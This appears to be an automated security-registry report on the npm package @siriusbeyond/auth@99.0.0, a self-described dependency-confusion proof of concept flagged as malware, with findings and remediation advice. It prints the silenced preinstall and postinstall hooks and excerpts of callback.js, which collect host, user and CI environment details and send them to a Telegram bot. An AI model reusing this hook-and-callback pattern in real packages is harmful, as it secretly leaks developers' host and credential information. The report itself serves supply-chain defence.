registry / Data exfiltration / @siriusbeyond/auth

@siriusbeyond/auth

SECURITY RESEARCH - Dependency Confusion PoC - Contact: ajmalaboobacker00@gmail.com

This report shows the evidence for @siriusbeyond/auth@99.0.0, the only known version.

This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.

AI Security Review

scanned 1mo ago · by lpm-firewall-ai

The package performs automatic install-time host and environment reconnaissance followed by external transmission. Its research labeling does not establish consent for this behavior.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

npm preinstall or postinstall execution.

Impact

Installation environment details and names of potentially sensitive variables are disclosed to an external recipient.

Mechanism

callback.js enumerates selected environment variable names, builds host and CI/cloud metadata, and posts it through HTTPS to Telegram.

Attack narrative

Installing the package invokes callback.js before and after installation. The script profiles the host and execution environment, identifies environment-variable names likely related to credentials or infrastructure, and sends the resulting report to a Telegram bot endpoint. Error suppression makes the lifecycle hook less visible to the installer.

AI rationale

The package performs automatic install-time host and environment reconnaissance followed by external transmission. Its research labeling does not establish consent for this behavior.

Evidence

package.jsoncallback.js

Network endpoints1

api.telegram.org

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

The package automatically runs callback.js during both preinstall and postinstall.
The callback inventories environment variable names associated with credentials and cloud or registry services.
The callback sends host, user, working-directory, CI/cloud, and sensitive-variable metadata to Telegram.

Evidence against

The main entry point only exports static research metadata, but installation hooks run independently of imports.

Behavioral surface

Source

EnvironmentVarsFilesystemNetwork

Supply chain

HighEntropyStrings

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 3.90 KB of source

Source & flagged code

8 flagged

package.jsonView file

•scripts.postinstall = node callback.js 2>/dev/null || true

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.preinstall = node callback.js 2>/dev/null || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

•scripts.postinstall = node callback.js 2>/dev/null || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

callback.jsView file

4*/ L5: const https = require('https'); L6: const os = require('os'); ... L11: const CHAT_ID = '1064260758'; L12: const PKG_NAME = process.env.npm[redacted] || 'unknown'; L13: ... L15: const indicators = { L16: 'GitHub Actions': process.env.GITHUB_ACTIONS, L17: 'GitLab CI': process.env.GITLAB_CI, ... L57: package: PKG_NAME, L58: hostname: os.hostname(), L59: user: os.userInfo().username,

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

callback.jsView on unpkg · L4

Critical

Credential Exfiltration

Source appears to send environment or credential material to an external endpoint.

callback.jsView on unpkg · L4

4Trigger-reachable chain: scripts.preinstall -> callback.js L4: */ L5: const https = require('https'); L6: const os = require('os'); ... L11: const CHAT_ID = '1064260758'; L12: const PKG_NAME = process.env.npm[redacted] || 'unknown'; L13: ... L15: const indicators = { L16: 'GitHub Actions': process.env.GITHUB_ACTIONS, L17: 'GitLab CI': process.env.GITLAB_CI, ... L57: package: PKG_NAME, L58: hostname: os.hostname(), L59: user: os.userInfo().username,

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

callback.jsView on unpkg · L4

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

callback.jsView on unpkg · L4

4Trigger-reachable credential exfiltration chain: scripts.preinstall -> callback.js L4: */ L5: const https = require('https'); L6: const os = require('os'); ... L11: const CHAT_ID = '1064260758'; L12: const PKG_NAME = process.env.npm[redacted] || 'unknown'; L13: ... L15: const indicators = { L16: 'GitHub Actions': process.env.GITHUB_ACTIONS, L17: 'GitLab CI': process.env.GITLAB_CI, ... L57: package: PKG_NAME, L58: hostname: os.hostname(), L59: user: os.userInfo().username,

High

Trigger Reachable Credential Exfiltration

A manifest entrypoint or package-local install chain reaches credential exfiltration behavior.

callback.jsView on unpkg · L4

Source & flagged code

8 flagged · loading source

package.jsonView file

•scripts.postinstall = node callback.js 2>/dev/null || true

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.preinstall = node callback.js 2>/dev/null || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

•scripts.postinstall = node callback.js 2>/dev/null || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

callback.jsView file

Findings

3 Critical3 High5 Medium3 Low

CriticalHardcoded Runtime Data Exfiltrationcallback.js

CriticalCredential Exfiltrationcallback.js

CriticalTrigger Reachable Dangerous Capabilitycallback.js

HighInstall Time Lifecycle Scriptspackage.json

HighHost Fingerprint Exfiltrationcallback.js

HighTrigger Reachable Credential Exfiltrationcallback.js

MediumAmbiguous Install Lifecycle Scriptpackage.json

MediumNetwork

MediumEnvironment Vars

MediumStructural Risk Force Deep Review

LowScripts Present

LowFilesystem

Affected versions and remediation

This report applies to @siriusbeyond/auth@99.0.0.

The versions list below shows the verdict for each recorded version.

Avoid installing @siriusbeyond/auth@99.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-09-22 00:03:50.496Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

1 known version

99.0.0latestshownMaliciousData ExfiltrationBlockPublishedSep 20, 2026, 8:59 AM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

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Other data exfiltration packages

Behavioral surface

Related packages

More from @siriusbeyond

Other data exfiltration packages

Source & flagged code